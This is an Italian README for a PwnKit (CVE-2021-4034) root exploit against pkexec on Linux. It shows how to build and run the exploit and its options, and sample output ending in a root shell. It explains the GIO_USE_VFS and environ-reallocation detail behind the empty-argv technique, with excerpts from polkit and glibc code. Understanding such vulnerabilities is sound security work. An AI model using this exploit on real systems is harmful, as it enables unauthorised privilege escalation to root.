
# Exploit root per CVE-2021-4034 (PwnKit) che abusa della scrittura fuori dai limiti di pkexec per elevare i privilegi a root sui sistemi Linux.
Exploit root per la vulnerabilità PwnKit. Consulta il report originale qui.
Utilizza questo exploit solo con il permesso esplicito dei proprietari del sistema di destinazione.
Non sono necessarie dipendenze oltre a libc. Basta eseguire make.
L'esecuzione senza opzioni eseguirà l'exploit:
[linux@linux ~]$ ./exploit
-----------------------------------------------------------------------------
__\ / __ __ _ __ _ __ | \ / _ ___
/ V |_ --- _)/ \ _)/| ---|_|/ \__)|_| | V |_) _/|_|
\__ |__ /__\_//__ | |\_/__) | | | \/__| |
-----------------------------------------------------------------------------
sh-5.1# whoami
root
sh-5.1#
Puoi personalizzare il percorso di pkexec così come il set di caratteri "from":
[linux@linux ~]$ ./exploit -h
...
./exploit [-c] [-h] [-f from_charset] [-p /path/to/pkexec]
-----------------------------------------------------------------------------
-c Solo teardown - nessun exploit
-p <path> Percorso di pkexec (predefinito: "/usr/bin/pkexec")
-f <from_charset> Set di caratteri "from" personalizzato (predefinito: "UTF-8")
-h Mostra questo messaggio
GIO_USE_VFS?!Ho visto alcune persone sui social media chiedersi perché alcuni exploit falliscono se
GIO_USE_VFS= non è definita? Perché funzionano con le versioni precedenti?
Il commit daf3d5c2d15466a267221fcb099c59c870098e03 in polkit è il colpevole.
Ecco la parte rilevante del diff:
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -503,6 +503,9 @@ main (int argc, char *argv[])
opt_user = NULL;
local_agent_handle = NULL;
+ /* Disable remote file access from GIO. */
+ setenv ("GIO_USE_VFS", "local", 1);
+
/* check for correct invocation */
if (geteuid () != 0)
{
Le versioni precedenti a questo commit sono sfruttabili senza la necessità di definire la
variabile GIO_USE_VFS. Le versioni successive - non sono sfruttabili a meno che questa variabile non sia definita.
Lo scopo del commit è in realtà un depistaggio. Non è ciò che la variabile
significa, è come la sua presenza influisce sull'ambiente del programma. Per la verità dobbiamo guardare a libc.
L'ambiente di un processo in libc è rappresentato da un array di char *,
puntato da questa variabile globale:
char **environ;
environ vive nell'heap e viene occasionalmente riallocato. Potresti
già sapere dove va a parare. Dai un'occhiata a questo frammento di codice da
setenv.c:
#if !_LIBC
# define __environ environ
# ifndef HAVE_ENVIRON_DECL
extern char **environ;
# endif
#endif
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
// ... saltato
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
if (ep == NULL || __builtin_expect (*ep == NULL, 1))
{
char **new_environ;
/* Abbiamo allocato questo spazio; possiamo estenderlo. */
new_environ = (char **) realloc (last_environ,
(size + 2) * sizeof (char *));
// ... saltato
last_environ = __environ = new_environ;
}
__add_to_environ() viene chiamato sia da setenv(3) che da putenv(3) per realizzare
ciò che promettono - impostare una variabile d'ambiente. Se la variabile d'ambiente in
questione non è definita, environ deve essere riallocato per fare spazio
a una nuova voce (un puntatore alla nuova coppia key=value dell'ambiente). Se è
definita, la dimensione dell'array environ non è cambiata e quindi non c'è
motivo per la riallocazione. Per brevità ho omesso quella parte del codice - ti
incoraggio a darle un'occhiata.
Ora torniamo all'exploit. Se sei arrivato fin qui, probabilmente
conosci già la metodologia dietro questo exploit (se no, consulta il
report originale).
Stiamo cercando di introdurre di nascosto una variabile d'ambiente passando argomenti del programma vuoti
(argv) a pkexec. Quando argc è davvero vuoto (nemmeno un nome di programma),
le variabili d'ambiente, che sono adiacenti, entrano in conflitto con gli argomenti.
Abusiamo di questo comportamento per forzare pkexec a scrivere un percorso canonico di un
eseguibile di destinazione nell'ambiente. Tuttavia, prima di arrivare a questa parte del
codice accade questo:
setenv ("GIO_USE_VFS", "local", 1);
Se questa variabile non è presente nell'ambiente, environ verrà
riallocato, quindi non entrerà mai in conflitto con argv. Di conseguenza, la scrittura fuori dai limiti
non influirà sull'ambiente del programma, causando il
fallimento dell'exploit.